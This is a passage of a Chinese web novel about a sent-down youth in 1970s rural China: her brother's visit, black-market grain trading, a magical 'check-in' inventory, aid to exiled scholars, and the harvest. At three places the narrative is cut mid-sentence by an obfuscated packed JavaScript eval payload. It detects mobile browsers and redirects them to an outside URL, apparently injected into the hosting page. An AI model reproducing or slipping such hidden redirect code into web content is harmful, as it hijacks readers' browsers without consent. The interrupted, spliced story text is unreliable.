陶文斌恍然回神,沉默了几秒,坦然告知:“我和老师带了几本医书,其他几位长辈带得有生物专业教材和散文集。” 医书和生物学这种专业性太强的书本林见春是没法看的,倒是散文集…… 林见春正想着,又听陶文斌问她。 “你是今年刚毕业的学生吗?” “对,刚毕业,不知道那几位老师带的散文集能不能借我看看?我只带了之前的课本。” 林见春对小人书的兴趣不大,为了稳当,也从不去买市面上禁止流通的书本,所以除了课本和校内统一安排购买的课外书,她能阅读研习的就只有林建业帮她弄的那套了。 牛棚这边有散文集,如果能借阅最好,不能的话也无妨,大不了下次写信回家再问问三哥有没有弄到其他书。 陶文斌有些为难,“散文集是鲁伯伯的,我得先问过他的意思,而且散文集是全英文版……” 这几年高中生虽然会学英文,可英文普及还不到位,大部分学生就是学一些简单的日常用语,想要阅读英文书籍几乎不太可能,更何况散文集和普通书籍差距极大,没有专业的老师辅导很难读懂。 林见春却觉得这是意外之喜! “鲁……鲁先生英文水平很高吗?” “鲁伯伯曾在海外留学8年,又曾任职首都大学外文专业教授,之后才借调图书馆做馆长,外语言水平的确很高。” 林见春激动无比。 不过她刚下乡,哪儿哪儿都不方便,总也不能每天都入夜了再悄悄跑过来求学,那样夜里点灯,反而容易引来其他人的注意。 还是等她站稳脚跟再说吧,反正书就在那儿,这些先生、学者辛辛苦苦把书藏着带过来,最多不舒服时当枕头用着,不至于平白全丢了。 “那算了,我先写信回家叫家里哥哥帮我买几本简单的书看。不打扰陶医生了,快休息吧。” “……等等。” 14. 小黄鱼 人是经不住念叨的。 林见春刚说给家里寄信让三哥帮忙弄书没几天,林建业就骑着一辆26式自行车来了东旺大队。 夏季农活还不算重,东旺大队的知青上三天工就可以休息一天,社员带着人找来徐三婶家时,林见春正窝在床上看陶文斌借给她的《本草经》选段手抄本。 这个手抄本上记录的不只有药理、药性的说明,还有自绘的药物配图,看起来十分方便记忆,陶文斌愿意拿出来,就是希望林见春可以借此参阅,有机会上山遇上了好行采摘,再卖到国营药店,多少也是一份收入。 林见春没什么医学天赋,不过她记忆力还不错,很快就从陶文斌圈注的几页中找到了几样当地盛产的草药。 林建业被徐三婶迎进门时,林见春已经依葫芦画瓢把这几页抄在了自己的本子上,打算下次进山试一试,等打开门见到好些天没见的三哥,不知怎么的,那眼泪就瞬间像断了线似的落了下来。 “三哥!你怎么来啦!” 老林家的孩子长到记事起就少有哭的时候,林建业看林见春哭了还愣了一下。 不过他也知道妹妹不是亲生的,不好太亲密,所以就只拍了拍她的脑袋,侧身一让,指了院里捆了大包小包的自行车。 “爸妈估摸着你差不多安顿下来了就把东西先往公社寄了,这不,昨天收到你的信,爸妈就让我过来帮你把包裹收了送来,顺道再看看你。” 林正和冯雪华寄的东西主要是被子和厚衣服,林建业顺道还带了四十来斤米和两斤羊肉、一包奶糖、一罐麦乳精。 这些东西不太好弄,林见春一看就知道三哥这是早就开始搜罗的,刚要收住的泪珠子又涌了出来。 “三哥,爸妈在家都还好吧?” “我在家呢,用不着你操心。你下过地了没?还吃得消吗?” 林见春点头,“都挺好的,牛队长和大队的社员都很好,不让知青干重活。” 林建业也点头。 小妹下乡个把周了,脸上的奶膘都还没消,可见的确是没怎么吃苦的。 “你在婶子家吃喝,家里给带的粮食就都交给人婶子安排,免得你不知道斤两给浪费了。” 林建业这话也不是敲打,主要是林见春在家蒸个饭都码不准用量,乡里不像家里,那邻里闲话说起来可不管脸面过不过得去。 “我知道的。” “那车也是给你弄的,26式,你骑着应该刚好。” 也不知道三哥这么短时间是怎么搞到这么多东西的,林见春满心酸涩,抹了把眼泪,心想等三嫂过门,高低得悄悄照着以前的头面弄一套金银帮三哥讨讨好。 “成了,你屋在哪儿,热死了,给我整点水喝、” 徐三婶不爱凑热闹,打林建业进了院子她就带着小宝回了屋。 林见春带着林建业把羊肉放进灶房,其他东西搬到自己屋里,这才背过他把“背包”里头没用过的新搪瓷杯拿出来,装了水让他喝着歇会儿,自己去敲了徐三婶的屋。 “婶子,我哥还没吃饭,今晚早点做吧?羊肉就都做了,一会儿给吴村长和牛队长送一碗,看看哪家有床让我哥借宿一晚。” 徐三婶刚才也看到林建业带过来的东西了,没推脱,只应了一声“好”。 安排好这些,林见春才回了屋。 她屋里的东西大多是徐三婶家原就有的,林建业也没乱动,只看她枕头边上放着书,桌上也摆了,就坐到桌前翻了翻。 林见春一回屋,林建业就指了指装衣服的包裹,“就知道你得空肯定看书,这回给你新弄了几本,你先学着。” 之前那套“程老师”编写的书林见春差不多已经读透了,现在有新的书可学,林见春顿时想不起刚才那阵委屈了。 打开包裹一看,《高等数学引论》、《微积分学》、《高等代数》、《普通物理学》、《化学方程式》,这几本新书哪是现在敢轻易拿出来的。 “……三哥,这些书也是那位程老师帮忙弄的?” “那不是,这是我从废品站淘来的,你看看能学懂不,能学懂我之后再给你找其他的。” “好。” 林见春也摸不准,毕竟没有老师带,也只能先随便看看了。 林建业也没说学不懂怎么办,见她床头放的本子上抄着药理,又托着下巴打别的主意。 “你对中医学还感兴趣?那回头我给你找找,不过现在城里都时兴看西医,中医的书基本被撕得差不多了,不是很好找。” “那倒不是。” 林见春如实把牛棚的事儿说了。 林建业也没问她哪儿来的阿司匹林,总归知道想办法卖人情就说明自家妹妹不傻,他肯定是支持的。 “那你明天能请假不?我带你去公社转一圈,换点粮食回来,再给牛棚的人送点儿。” 废品站的工资就那么点,林见春知道三哥肯定没那么老实,这回好不容易出趟远门,估计过来之前已经把公社的“小黑街”给摸熟了。 不过换粮这事儿她也能干,还不如放三哥自个儿忙去。 “送太频繁了也不好,我手头还有钱,大哥大嫂也会给我补贴,等大哥大嫂的信到了我再去公社换。” 前几天才刚送过一次东西,短时间内牛棚那边也亏不着,林建业也就没多过问,正好徐三婶抱着小宝出了屋,他就也出了屋,抱着小宝在院里溜达,还摸了一把糖塞他小兜兜里。 小宝可喜欢这个第一次见面的叔叔了,拆开糖纸先给他塞了一口,见他笑眯眯地吃了,才往自己嘴里也塞了一颗。 林见春小时候也是林建业带着的,所以也放心,干脆端着小板凳在院里继续抄书。 徐三婶家不像自己家自在,林建业一个大男人,多少得避避嫌,所以徐三婶那边灶头火一息,他就拉着林见春出去找牛队长和吴村长了。 正好林见春今天还没来得及往吴村长家这边闲逛,趁着送东西的功夫正好“签到”。 没想到这一“签到”,落进“背包”的东西就把她很吓了一跳。 林建业注意到林见春不对,也没跟吴村长多闲摆,只说还要去一趟牛队长家就拉着林见春走了。 等离吴村长家远了,林见春还是那副呆呆的表情,林建业没好气地敲了下她的脑袋,好歹给人叫回了神。 “怎么了这是?” 林见春一言难尽。 这几天她吃过晚饭就往吴村长家附近溜达,但“签到”收获无非都是些米面粗粮,本想着再试几次,如果还是没什么好东西的话,以后就都在徐三婶家“签到”了,结果今天直接得了一条小黄鱼,把她好奇心也给勾出来了。 但她也不好直接跟林建业说村长家藏了黄金,搓了搓被他敲痛的额头,只说没怎么。 “村长家晒了草药,我刚不小心看到了,认出来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这回写的信才寄出去几天三哥就来了,可见是家里一收到信就让三哥收拾东西往这边来了,她过得又不苦,刚见面时哭是因为她从记事起还没离过家,实在憋不住,现在嘛只觉得高兴,一点儿也不难受。 吃过早夜饭,林建业也没让林见春送,自己在大队溜了一圈才去了牛队长家里。 林见春不担心自家三哥吃亏,晚上她也不好到处乱跑,就在屋里清点东西。 除了之前剩的那些东西,这几天她又新得了4斤米、1个鸡蛋、2个红薯,加上今天三哥带来的40斤米、1包奶糖、1罐麦乳精。 先前给徐三婶的米面粗粮这个月还是吃得过的,所以这回林见春只打算把麦乳精分半罐给小宝喝,米分10斤出来等过段时间攒点粗粮再一起送去牛棚,其他的都先存着不动。 东西规整好,林见春才把着小黄鱼欣赏。 这条小黄鱼应该是早些年还乱着时流落出来的,样式精美,不像普通人家用的制式,也不知道吴村长家以前什么背景。 这东西短期内肯定是没办法拿出去换东西的,林见春想着反正要为三哥今后做打算,干脆单分了个格子存放,万一哪天“签到”又弄到一条,就差不多可以弄一套简单的首饰了。 心头松快,林见春这一晚睡得很香。 上工铃一响,林见春竟然觉得前所未有的轻松,抱着分好的麦乳精塞给徐三婶,也不管她什么表情,三两口吃过饭就小跑着去地头集合了。 今天知青的任务还是排沟清渣,不过夏大豆种在旱地,条件可比玉米地轻松,做起来也就有点热,不至于整得浑身都是须子。 临走前林建业也到田间地头瞄了一眼,见林见春做得还算好,虽然心疼,却也没说什么,只跟吴村长和牛队长打了招呼,就找了良大爷帮忙,坐着牛车走了。 等林见春中午下工,林建业早坐上了回龙塘的火车,虽有些遗憾,不过日子且过着,将来才好团聚。 15. 五花 八月中,林见春收到了来自海城的信件。 这信自然是林剑锋和方巧玲两口子寄来的,随信寄出的还有20块钱和一些票证、海城特产,钱的金额不大,和票证一起夹在信里,东西却只能单独寄一个包裹,所以林见春得尽快找个时间到公社邮局去取。 正好第二天就是林见春下乡以来的第四个休息日,也不用请假,直接给牛队长报备一声就行。 林见春想着正好可以找一下方哥,有肉买肉,有粗粮也给牛棚那边儿备一些,结果临了早上出发时,住在知青点的冯悦却跑了过来,一脸苍白地请她搭她一程。 冯悦也知道自己这个请求有些难为人,毕竟找吴村长借车是要送礼的,可她实在拿不出什么好东西,大队发放的知青补贴也不太够吃,所以只能厚着脸皮来找林见春帮忙了。 “林知青,我得寄信回家,不然下个月还不知道怎么过……” 带她一程倒是没什么,可林见春有自己的打算,不方便让别人知道,冯悦跟她又不是多亲近的关系,所以她不是很想带。 “我记得刚下乡时你身上是带着钱的吧?” 冯悦脸色一白,“知青点遭贼了……” 她这一说,林见春就不好问了。 前几天知青点的确闹过一场,但她最近都在专心研究林建业送过来的书本,实在没分神去看热闹,没想到竟然是知青点遭了贼。 不用说也知道,遭贼的多半不止一个,要么只有林悦一个,其他人为了不让大队怀疑上他们,也都说自己也丢了东西,可东西丢了不好找,尤其钱票这种轻便的东西,谁又说得好别人身上的跟自己身上的有无区别呢? 林见春也没狠心让冯悦自己走着去,毕竟大队到公社走路得走个把小时,也没有别的人一起,冯悦一个女孩子多少有些不安全。 “我可以带你一趟,不过我去公社还有别的事,只能把你放到邮局,到时间回大队了再到邮局接你。” “你肯带我就很好了,我不会耽误你办事的,寄了信就在邮局门口等你。” “那走吧。” 林建业帮着弄的这辆自行车是凤凰牌的,质量很是不错,林见春和冯悦都不算很重,所以一辆车很轻松就承受住了两个人的重量。 只是林见春从没载过人,也不敢骑得太快,二十分钟就能到的路程愣是被她骑了半小时才到。 “你先寄信,寄完找个阴凉的地方等我,我办完事就尽快过来找你。” 大哥大嫂寄来的东西也不知道有多少,林见春怕耽误事,只能先骑着车去“小黑街”找方哥,等办完事再过来取。 冯悦的心情可谓大起大落,连连点头,抹着泪进了邮局。 公社的路弯弯绕绕,林见春去过一次“小黑街”,再找起来就没那么麻烦了,方哥也是没想到这姑娘时隔半月就骑了一辆新车来,还以为她这是要拿车换东西,结果等车进了门,他才发现这车可是前不久一个精瘦干练的哥们儿才从他手里换走的。 “妹子,你这车……” 林见春估计林建业也是来了这边才想办法弄的车,一看方哥表情哪儿还有什么不明白的? “我家哥哥前段时间过来看我,这车就是他给我弄来的。” “哦!” 过了手的东西方哥也不会瞎打主意,只问林见春这回过来是想弄点什么回去。 “正好,上回你说想要肉,哥就一直给你留意着,今天正好还剩了2斤上好的猪五花,你要不?要的话哥给你包起来。” “多少钱呀?” “不收你多的,不要票1块2一斤。” 猪肉价格一直在7毛到9毛之间,不要票的猪肉,还是上好的五花肉,卖个一斤2块也多的是人抢,方哥给的1块2一斤摆明了是给她做人情。 这个人情林见春领了。 “方哥,最近往外换的粮食多吗?” “前头不还说有富余的粮?” 林见春满脸无辜,“遇到些事儿,粮不太够了。” 方哥觉得好笑,但也直接说白了,“哥也不唬你,头回告诉你的价格是你换给我的价,你要从我这儿换,米得3毛一斤,小麦面粉得5毛,玉米面便宜点也要2毛,红薯、土豆啥的能做主给你1毛8一斤,其他粗粮给你算1毛6一斤。” 林见春对“小黑街”的物价是不太了解的,但肉价方哥都算得那么低,米面粮食人也没必要唬她。 “方哥,土豆是刚收起来的吧?家家户户都不缺,不能给算低点儿吗?” 土豆不算正经粮食,但饱腹感还可以,当饭当菜都行,所以比起米面,这东西更好拿去牛棚。 “要得多不?” 林见春算了下价,但不清楚斤两,就试探着说了个红薯、土豆、干玉米、高粱米各50斤。 乡下吃的多是自家用干玉米打的玉米面,没有粮站往外销的细,高粱米更是各家吃得最多的一种,可以蒸饭也可以打成面做窝头,比精面经得住饿。 “嗐!我还当你要多少,你这点东西够几个人吃?” “……” 林见春也不好说这是计划着分次送去牛棚的,他们根本不能敞开了吃,这些年估计都只按食量的一半在耗着。 “先这些吧,没多久就要秋收了,等年前真不够了再说。” “先说好了,量太少了哥也不好给你折价。” “没事,方哥愿意帮忙我已经很感激了,就按定价来吧。” 400斤粗粮一共34块,一次性拿出来林见春还是挺心疼的。 不过看在《本草经》的份上,林见春还是掏了这笔钱,想了想又问了下猪板油。 马上就要秋收了,知情的假指不定会取消,期间不好再往公社跑,没法弄到肉,如果能弄一副猪板油回去,秋收期间多少能沾点油水,免得身体遭不住。 方哥抬手看了一眼时间,“时间不算晚,要么你先逛一圈去,我去帮你问问还能不能弄到。” “那就谢谢方哥了。” 粗粮加上2斤五花,林见春一共给出去36块4。 出了“小黑街”,林见春也没急着去邮局,就顺着记忆找去了公社的粮站。 大哥大嫂寄过来的票证以粮票为主,这次来公社换完东西,下次再来就是下个月了,有些粮票是有时限的,所以林见春打算一次把这些票证用完。 粮站可以买到米面粮油,林见春从方哥那儿买过粗粮了,再从粮站买就只盯准了细粮。 当然,粮站的细粮也是紧着城里人的,可林见春有知情证明,拿出来的票证又有部队的章,量要得不大,粮站的工人也就捏着鼻子给她称重了。 除了粮票,票证中还有2斤油票和2斤糖票、半斤肉票。 油和糖还好说,但肉是真不好买,林见春干脆把肉票拿出来做人情,跟粮站的工人套起了近乎。 粮站的工人当然想要肉票,可是第一次见面的人就拿这种东西套近乎,她实在有些慌。 “赶紧收回去,可不好搞这种事情!” “大姐,我在知青点吃大锅饭,这肉买不买得到且另说,真买到了拿回去也是打眼,反正不够分,还不如给有需要的人。” 粮站工人犹豫得很。 林见春抓住机会直接把票塞给了她,连带着一起塞过去的还有十来颗硬糖和2颗奶糖。 “大姐,你就收着吧!实在不行你再帮我想想法子,我粮票不够,今天这几十斤米带回去还不够我们知青点秋收里头吃的。” 粮站工人瞟了眼旁边,看没人注意这头,干脆牙一咬把票揣进了兜里。 “我姓黄,你叫我黄二姐就行。帮你想想法子也不是不行,不过顶多给你找点粮票,你得按价给人家补偿。” “那当然,黄二姐能帮忙已经很好了。” 有黄二姐帮忙,林见春又买到了60斤不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还没上过山,不过看到过别人晒草药,就顺嘴问一句。” 林见春不好在这附近多逗留,告别方哥,蹬上车一溜烟儿就往邮局去了。 当然,这批粗粮对于个人来说量是有些大的,林见春可不想让冯悦知道,所以邮局门前碰头,冯悦就只看到林见春背了个背篓,里头装了什么那是不清楚的。 “信寄好了吗?” 冯悦估计又哭了一场,声音有些干哑,“寄好了,你快去拿你的包裹吧。” “行,你再等我下。” 林剑锋和方巧玲寄的东西也有一大包,林见春背了个背篓,又要搭冯悦的话这26式就有点不够用了。 冯悦一看那包裹起码好几十斤的样子也有点不好意思,可她又怕林见春一个人骑着车走了,嘴巴开开合合,最终只是垂下了脑袋。 既然答应了带冯悦一程,林见春就没打算自己一个人回去。 “帮我扶着车,我把东西捆一下,一会儿推着车走。” 走路得走一个小时,冯悦可没脸皮让林见春背着东西走一路,所以主动要了背篓背到自己背上,等快到东旺大队时才还给了林见春。 “林知青,今天谢谢你了。” “不客气的,快回去吧,以后东西收仔细点。” 知青点那边的公道大队是不怎么管的,而且社员不主张为知青报公安,就怕影响先进大队的评选,所以冯悦这回只能自认倒霉了。 冯悦遭了一次,脑子里也没那么多海阔天青了,闷声点了点头,只说等家里回了信,她也在外面找个社员借住。 “你有计划就好,我也回去了。” 大哥大嫂寄的东西多,她还得回去整理一下。 “谢谢。” 16. 秋收 林剑锋和方巧玲寄的东西算得上丰富多样。 林见春很喜欢吃鱼虾和水果,而海城盛产水果和海鲜,所以寄回的包裹里有不少干海菜、干虾、干贝、鱼干,还有印着军工制造标记的水果罐头和水果干,完全是按她口味来的。 林见春揉了揉酸涩的眼睛,点了一下数量,确定鱼干有10条,每条都有2斤上下,干贝有差不多3斤,干虾差不多有5斤,海菜起码有20斤,果干也有3斤,水果罐头有5个。 这个量估计是大哥那边很长一段时间的供给了,这次全给了她,大嫂那边肯定短了。 林见春叹了一口气。 南兴跟龙塘差不多,特产还真没啥…… 不对,真论起来省内特产也是有的,要么羊肉,要么腊肉香肠,可这几样都不太好弄,还得忙过这段时间再想想办法给大哥和大嫂弄一点。 林见春把东西归整了一下,把之前剩的那1斤猪肉和5斤猪板油一起拿出来,又分了1斤红糖,连同5条干鱼、1斤干贝、5斤干海菜、1斤干虾,准备一会儿交给徐三婶。 此外,这回买的粗粮混在一堆分了50斤,小麦面粉分了2斤,米分了2斤,想了想,干虾也给分了1斤,干菜2斤,整合打成了包裹,这就是晚上要带去牛棚的了。 把两包东西放好,林见春才得空看“背包”。 “背包”里的东西她都是有数的,所以一眼就看到了多出来的东西——一台崭新的收音机。 林见春简直乐疯了,收音机比自行车还难买,供销社基本看不到现货,没想到方哥那儿有,还让她一次就“签到”出来了。 可惜现阶段还是不太适合拿出来用,不然稍微调一下台,关注一下新闻也是不错的。 林见春遗憾地把收音机收进货架格子,想着下次去公社找方哥问问价,要是价格合适就先换成别的东西,等以后回城再找三哥帮忙寻摸。 收到新的口粮,徐三婶对林见春也是没言语了。 “你家里给你寄的东西该留起来慢慢吃的。” “我又不会做,留再久不也是放那儿,放久了还会坏,那不是白白浪费了?” 徐三婶收东西简直都要收到麻木了,可也知道林见春说得对,就是心里不怎么得劲儿。 “……我和小宝净干吃你的东西了。” “那我不还白住你们家啦?” 徐三婶想说房子值几个钱,没有她,这房子决计是白放着的,哪儿比得上她真金白银般的口粮? “好啦婶子,明天应该就开始农忙了吧?到时候你也得下地,回家还得忙前忙后的烧饭,多我一张嘴,你还不能轻便,顿顿都得煮饭烧菜,多费劲呢!” 徐三婶实在说不出推诿的话,只连连叹气,还是把东西抱去柜子里收起来了。 柜子锁好,徐三婶也跟林见春说起了打算。 “咱们大队离军队的驻地很近,也就头几天会让你们下地收割,等驻军过来了,有他们帮忙,你们就该跟着村里的孩子捡谷穗了,到时候你帮我看一下小宝,别让他跟着其他孩子跑河边去。” 林见春是真没想到还有这种好事,愣了一下,当场满口答应。 “驻地在哪儿呀?之前一直没听说过。” “穿过山就能看到了,等忙过农忙我带你去山上捡柴回来备着过冬,到时候给你指,免得不小心越过线被军人当敌特抓起来了。” 林见春没意见,连连点头。 天气热,肉不禁放,徐三婶把猪板油熬了出来,油渣撒了盐放进橱柜,当晚又把那斤肉给炖了茄子土豆,吃得林见春满嘴油。 小宝也吃得肚圆,腆着肚子在院儿里遛弯,林见春跟在他身后学,差点没给人惹急。 洗了澡舒舒服服地在屋里看了会儿书,入夜后,林见春带着给牛棚的东西悄悄敲响了牛棚的门。 明天要开始农忙,他们这几个下放的可不会比知青轻松,不过几个老的身体不行,牛队长也不会安排他们干重活,所以主要出力的还是陶文斌。 得亏之前林见春送过一次东西,这几天他们几个的精神都养好了一些,所以入夜之后他们也没急着睡,而是商量着农忙时的安排。 林见春到时他们已经商量得差不多了,听到动静都聚在了门口,等她出了声,几个人才松了一口气。 大家都没想到林见春这才没隔多久就又送了东西来,可这几年遭了罪,这会儿还真说不出推脱的话来,所以场面一时沉寂,只有浅浅的呼吸声。 林见春把包裹直接塞给了陶文斌。 “不知道你们平时上山的时候多不多,今天去公社我找熟人问了下草药的行情,他有路子,但路子不宽,如果能找到草药他也是能论斤收的,只是价格不高,不论好坏都算6元一斤,得晒干了称。要么就是野山参和黄精,这两种价格高点,但他也说这两样不好找,所以价格没先告诉我。” 几个人面面相觑。 他们因“罪”下放改造,是没法离开下放地的,所以除了有个头疼脑热,他们是不会上山去扒拉草药的。 不过他们就算干活,大队分给他们的粮食也不多,所以农忙之后他们也会上山挖点野菜、菌子回来晒干,运气好也能撞见野山药。 这些东西只够他们过冬,再多的,他们也不敢想了。 “现在真有人敢收中药?” “……” 林见春知道,这些没犯什么大错误的学者都被整怕了。 实际上“投机倒把”屡禁不止,毕竟全指着那点明面儿上的份额,大部分人是没办法过得很好的,所以总有人想办法搞“置换”,你家用不上的给我,我家用不上的给你,实际上跟买卖没什么区别。 像方哥这种“小黑街”的主持者真不知道被抓住会有什么下场吗?可风险越高收益越大,他想过好日子,就得想办法促成交易,不然哪有那么多工作提供给他们?乡下也不是能全盘接收城镇溢出人口的。 这些话不好摆在明面上说,所以沉默之后,林见春就拿制药厂做借口了。 “制药厂还没停摆,这些中药不管是从谁手里流出来的,最后还是会集中交付到制药厂去,最多就是提供草药的是个人和集体的区别而已。” 有利益就有往来,如果不是把人得罪厉害了,也不会有人跑过来追究草药最初是从谁手里出来的。 “就咱们大队那个吴村长家也是晒着草药的,总不能都是晒着给自家吃的吧?” 几个老人这才缓了一口气,显然被林见春说动了。 陶兴和陶文斌带来的书他们是知情的,现在陶兴身体不行了,陶文斌一个人能力有限,如果真能操作,他们上山挖些草药也不是不行。 最后拍板还是陶文斌。 他还年轻,不信自己这辈子就这么过去了,所以林见春的话对他而言无疑是个机会。 “明天下工之后我去山上看看情况,就是麻烦你了,真能采摘草药换东西,后面还得靠你帮我们带出去。” “这都小事。” 林见春没说自己在这其中有没有赚头,反正都是卖人情,他们肯认最好,今后闹翻了也无所谓。 “那我先回去了,今天送来的粮你们也别有心理负担,就当第一批草药的定金了。” 陶文斌和几个老人没再客套,目送林见春走远,抱了包裹进屋准备分开藏一藏。 等看到里面除了粗粮还有几斤细粮,甚至还有外地才有的干虾和海菜,几个老人也是说不出话来了。 还是陶兴先回了神。 “小姑娘真是……” 真是什么? 陶兴说不出来。 其他几个人也说不出来。 她没求过回报,上次送东西过来也只是为了借书,这回明面上是在说草药的事,可只送粗粮也够了,多送的这些,他们又如何去还呢? 林见春没管身后的事,轻手轻脚回了徐三婶家,沾床没一会儿就睡过去了。 之后几天,知青的三工一休果真被取消了。 林见春被分到了打穗这一队,正好跟着徐三婶干活,小宝也懂事,就在旁边捡一捡被打得四散飞去的穗子。 一天干下来,所有人都是灰头土脸的,林见春被飞扬的穗子和壳弄得浑身发痒,晚上回去等不及烧水就想洗澡,被徐三婶把小宝塞到了怀里才哭丧着脸坐在院里等水烧好。 不过这样的日子也没持续多久,秋收开始后第8天,南兴驻地的军人就整合了队伍过来帮忙抢收了,收完稻还要收一批玉米,忙过这十好几天,剩下的收尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019335|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作才让知青们上。 林见春没想靠挣工分吃饭,有人揽了活她也轻松,而且这么一通干下来均摊到每天她还有差不多6公分,等攒到年底,还能分好些粮食。 抢收之后,大队要安排人手给分派过来的军人开一餐杀猪饭。 林见春还是第一次知道东旺大队是养了猪的。 负责杀猪的是吴村长的儿子,林见春凑过去看了热闹,没被猪凄厉的叫声吓着,反而被血骨淋当的场面给恶心到了,逗得好几个打下手的小士兵“哈哈”大笑。 林见春面上过不去,瞪了那几个小士兵两眼,抱着小宝跑得飞快。 “这几天没见过这小姑娘呀,她是村里的?还是下乡支援建设的知青啊?” 林见春常在吴村长家附近转悠,所以吴村长家的人都认识她,抬头看了一眼,也就老实跟小士兵说了。 旁边也在打下手的几个婶子倒是比几个大老爷们儿看得明白些,瞅了瞅那几个小士兵的耳根,也插上了嘴。 “咱们这林知青是城里来的,家里好几个哥哥,都疼她这个小妹,这不嘛,下乡也是分到了省内,前些时候她家那三哥还跑过来给她送过东西,估计是不会让她在乡下相亲结婚的。” 几个小士兵的心思被戳破,也不恼。 “我们就是想说媳妇儿了,这不是看见个合眼缘的就想打听一下吗?婶子们可晓得咱们村儿有哪些适龄又想说给当兵的?可千万先介绍给我们啊!” “是呀,我们也没别的要求,只要贤惠、护着家就成。” “咱们驻地跟村里头隔得近,就算不能随军也离不了多远,不怕分久了感情淡。” 年年都有驻军过来帮忙抢收,小士兵这么主动却还是第一年。 别说,帮着打下手的几个婶子还真心动了,当场就盘算起谁谁家姑娘合适。 没合适的姑娘,知青点那边几个也能问一问,毕竟也不是每一个都有林见春这种条件的,指不定人家就愿意嫁给当兵的呢? 说起知青的还有牛队长那头。 南兴驻地搬迁过几次,也是近几年才落地在东旺大队那边山后边,牛队长不清楚驻地的事情,但驻地里大到兴建土木的动静还是瞒不过公社和周边大队的。 况且驻地还招过军工厂工人,据说还有下乡来的知青被特招了进去,就是东传西传的没个真儿,到底谁去的,到底去没去,这事儿谁也没说准。 这回,东旺大队来了个政委。 于政委先是问了下秋收的事情,之后又问了下大队的军属,实在没话聊了,才拉开天窗问起了知青。 倒也不是军工厂又要招人了,而是上头下了文件,要驻地的军属脱盲,还要准备驻地幼托、小学的开办。 驻地里军属不少,孩子也多,如果只是脱盲或者幼托,读过书的军属也完全能施展开了,可小学不是随随便便谁都能教的,所以驻地只能从周边几个大队的知青这儿想办法。 好歹都是读了书下乡支援建设的不是? 东旺大队是离驻地最近的一个大队,于政委的工作刚刚开展,所以第一先来了这儿。 牛队长很想把所有知青全塞给驻地。 但想也不可能,就算把知青全放走了,明年知青办就得成倍给他还回来,这种亏本的买卖他可不干。 牛队长在脑子里过了一遍大队的知青,最终报了5个名字出来。 “李俏俏、李春景、席娇、陈建设、林见春,这五个知青大概比较符合驻地的要求。” 知青的家庭背景在牛队长这儿不是秘密,挑挑拣拣的给于政委说了下,就等着他自个儿做决定了。 李俏俏和李春景都是首都来的,家里条件不差,不过皇城脚跟儿下长大的孩子不见得愿意到驻地扫盲,驻地还得考虑那些军属的心情,所以家庭条件悬差太大的都不太适合。 席娇、陈建设是普通工人子弟,但陈建设只是初中毕业,又是个五大三粗的,给军属脱盲还可以,幼托和小学就不适合了。 一相比较,最合适的就是林见春了。 她本身是烈士子女,养父母又是老革命,就是今年刚高中毕业就被安排下乡,也不知道心性定了没定。 于政委没说准话,在本儿上“刷刷”几笔记了名,走了。 17. 萍水相逢 林见春不知道自己上了“名单”,正好这几天清闲,她就抱着小宝躲回家看书,今天也是一样。 林建业这回给的书难度拔高,跟高中课本全然是两个不同阶段,林见春啃得有些困难,有时候根本没法理解题意,只能倒回去从头再看。 这样的学习进度慢到不行,但也没法子,牛棚那边都不懂数学和物理,顶多仇梦因为一直研究生物偶尔会用上一些算法,这才勉强给林见春出过一回主意,其他时候,全靠她自己去摸索。 不过,自习虽然很慢,记到脑子里的却也更加牢靠,林见春光《高等数学引论》首章就前前后后学了几十遍,再往后,返回重读的次数就越来越少,仿佛思维被彻底打开,不再拘泥于同一种推论和计算的方式。 她在这头看书,小宝也不闲着。 徐三婶把小宝教得很好,没有林见春点头,他不会动屋里任何一样东西,有林见春同意,他也只是趴在桌子前专注地看那一本。 当然,小宝还没学过字,也看不懂别的,他看的是陶文斌借给林见春那本《本草经》,林见春休息时看他看得起劲就顺便跟他讲了讲对应草药的名字,小宝说话还不太顺,连读几遍才能读对,倒是眼睛亮晶晶的,看得林见春也觉得高兴。 到了晚上,屋外面就热闹起来了。 林见春带着小宝离开屋子,等徐三婶简单擦洗了一下,两大一小才一起去了晒谷场。 杀猪饭林见春还是第一次吃,别说,香是真的香。 席间那些想说媳妇儿的小士兵也是热情异常,带队过来的严副营长也乐呵呵的看热闹,一时间倒是兵民一家亲的具象化了。 大队有些人对当兵的带着天然的敬畏,有些人却是不怕的,尤其几个大娘,知道这些当兵的想在大队说媳妇,自然就盯着人准备撮合了。 林见春不在这些大娘的计划范围内,但试想一下,在座的小姑娘大妹子在农忙期间都被晒黑了不少,她们知青这边却在太阳底下白得发光,那些有心思的,可不就盯着知青这边瞧了? 没多会儿,相较文静的冯悦就被大队的几个婶子找上了。 “冯知青,你在城头应该没说过亲吧?” 冯悦没太懂,但她也是刚毕业的高中生,家里又没赶上时候给她介绍对象,所以才无奈下乡。 “没说过,之前一直在读书。” “嗨呀!那可巧呢,今天有几个当兵的让咱们帮忙介绍对象,你看你要不考虑一下?正好部队的驻地也没离咱们多远,结婚之后你还可以在咱们大队住着,等能随军了再过去也成。” 冯悦震惊,一时没能说出话来。 几个知青惊讶得很,视线往来,还真有几个被婶子们说得心动的。 林见春和李俏俏是没这种打算的,在场的人也清楚她俩跟别的知青不太一样,所以婶子们也没打她俩的主意,游说的重点还是放在其他8个女知青身上。 